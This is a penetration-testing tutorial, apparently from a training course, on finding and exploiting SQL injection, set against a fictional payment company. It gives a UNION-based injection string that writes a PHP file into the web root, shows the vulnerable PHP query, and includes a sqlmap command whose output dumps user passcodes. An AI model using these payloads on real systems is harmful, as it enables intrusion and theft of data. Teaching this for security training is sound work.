SQL Injections (SQLi)

According to the OWASP TOP 10, injections are among the three most common vulnerabilities in web applications. This also includes SQL injections, which allow unauthorised queries to a database due to a lack of input validation. For us as an attacker, this may be the key to the underlying IT system, as we may be able to extract sensitive data via an SQL injection or execute commands on the target machine.

To identify SQL injections, we should consider all input fields that may be embedded in an SQL query. For example, a search field in a web application will have been implemented via a SELECT statement. We then may be able to provoke error messages with our user input by deliberately attempting to break the syntax of the underlying SQL statement. Entering a half quote (') could be interpreted as the end of a string in SQL and throw the following error message:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\” at line 1

- MySQL

If we receive an SQL error message from the web server as shown in the example above, we have not only successfully identified an SQL injection, but we have also obtained information about the database software, because the way error messages are represented differs from database management system to database management system. In the case of an Oracle database, an error message is displayed as follows:

ORA-00933: SQL command not properly ended

- Oracle

Generally there are several types of SQL injections. A blind SQL injection refers to an SQL injection where no error messages are displayed to the outside. These could be identified by so-called time-based attacks, which measure and compare the response time of requests to the web application. With a MySQL, a time delay could be achieved by injecting the sleep function.

Next, we will take a look at exploiting SQL injections via the SQL UNION operator. The UNION operator basically combines the outputs of at least two SELECT statements. The tables must have the same format (number of columns):

SELECT ${columnA1},${columnA2} UNION SELECT ${columnB1},${columnB2}

This technique allows us as the attacker to supplement a SELECT statement with additional functions. For example, a MySQL database makes available the functions load_file() and into outfile() for local file access. But these can only be executed if the MySQL user is assigned the FILE privilege and the system user of the process has the required file permissions. The secure_file_priv setting of MySQL must also be disabled. Let's take a look at the following scenario as an example:

An administrator of Dubius Payment Ltd. wants to display the full name of a merchant in the backend of the payment gateway. A search box exists for this purpose, which expects a merchantId. The search data is embedded in the following SQL query via PHP:

$query = " 
         SELECT first_name , last_name  
         FROM  users  
         WHERE  user_id  = '".$_GET['id'] ."' 
         ";

The above SELECT statement has two columns: first_name and last_name. Furthermore, the user input is transferred to the SQL query without input validation. As an attacker, we can exploit this fact in order to create a PHPInfo page in the DocumentRoot of the web server, for example. To do so, we can enter the following attack string as merchantId:

-1' UNION SELECT "test","<?php phpinfo(); ?>" INTO OUTFILE '/var/www/html/info.php'#

So the following SQL query would be sent to the MySQL:

  SELECT  first_name , last_name  
  FROM  users  
  WHERE  user_id  = '-1 ' 
  UNION SELECT  "test ","<?php phpinfo(); ?> " INTO OUTFILE  '/var/www/html/info.php ' #'

Because the merchantId (-1) doesn't exist, the first SELECT instruction would not return any database lines. As a result, only the output of the second SELECT instruction would be included in the /var/www/html/info.php file: test <?php phpinfo(); ?>. When calling info.php via the web server, we would receive a PHPInfo page because the PHP code is interpreted by the web server of the target system.

The sqlmap tool can be used to automatically identify and exploit SQL injections. sqlmap can also test both GET- and POST parameters as URLs (→man sqlmap). But the scans can take a lot of time, therefore further settings are recommended, such as defining certain SQL injection techniques (time-based, UNION operator, and many more). In the following example, the GET parameter period_id was tested in the appointment calendar of Dubius Payment Ltd. by means of sqlmap.

 ~$ sqlmap.py \ 
   > --url "http://manager.dubius-payment.com/edit_period.php?period_id=1" \ 
   > --cookie="PHPSESSID=p734a5oilvq3dspr2nt4f7ncj3" \ 
   > --level=3 \ 
   > --risk=3 \ 
   > --technique=T \ 
   > --all 


 [*] starting at 12:35:39 
 [..] 
 GET parameter 'period_id' is vulnerable. 
 Do you want to keep testing the others (if any)? [y/N] 
 [..] 
 [12:44:38] [INFO] the back-end DBMS is MySQL 
 [..] 
 [12:58:35] [INFO] fetching columns for table 'user_info' in database 'timeclock' 
 [..] 
 [11 Entries] 
 +---------+----------+---------------------------------------------------+ 
 | user_id | fname    | lname   | level         | username  | passcode    | 
 +---------+----------+---------------------------------------------------+ 
 | 5       | Jaiden   | Pitts   | User          | jpitts    | v4orPzn9 [..]

Remark: The above scenario does not work in the practice lab.